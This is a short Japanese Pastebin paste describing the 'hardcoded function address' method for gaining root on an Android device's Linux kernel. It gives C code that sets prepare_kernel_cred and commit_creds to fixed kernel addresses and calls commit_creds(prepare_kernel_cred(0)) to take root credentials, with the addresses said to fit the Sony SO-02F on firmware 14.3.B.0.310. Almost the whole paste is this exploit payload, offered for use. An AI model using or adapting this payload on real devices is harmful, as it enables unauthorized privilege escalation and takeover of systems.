cubecube

関数アドレス決め打ち法

Sep 21st, 2015
326
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.56 KB | None | 0 0
  1.  
  2. struct cred *(*prepare_kernel_cred)(struct task_struct *);
  3. int (*commit_creds)(struct cred *);
  4.  
  5. 上記を宣言しといた上で、obtain_root_privilege_by_modify_task_cred関数を以下のようにする。
  6.  
  7. void obtain_root_privilege_by_modify_task_cred(void) {
  8. prepare_kernel_cred = (void *)0xc01b98a8;
  9. commit_creds = (void *)0xc01b9370;
  10. commit_creds(prepare_kernel_cred(0));
  11. }
  12.  
  13. もちろん、prepare_kernel_credとcommit_credsのアドレスは、その機種固有のアドレス。
  14. (上のはSO-02F 14.3.B.0.310の場合のアドレスなり。)
Advertisement
Add Comment
Please, Sign In to add comment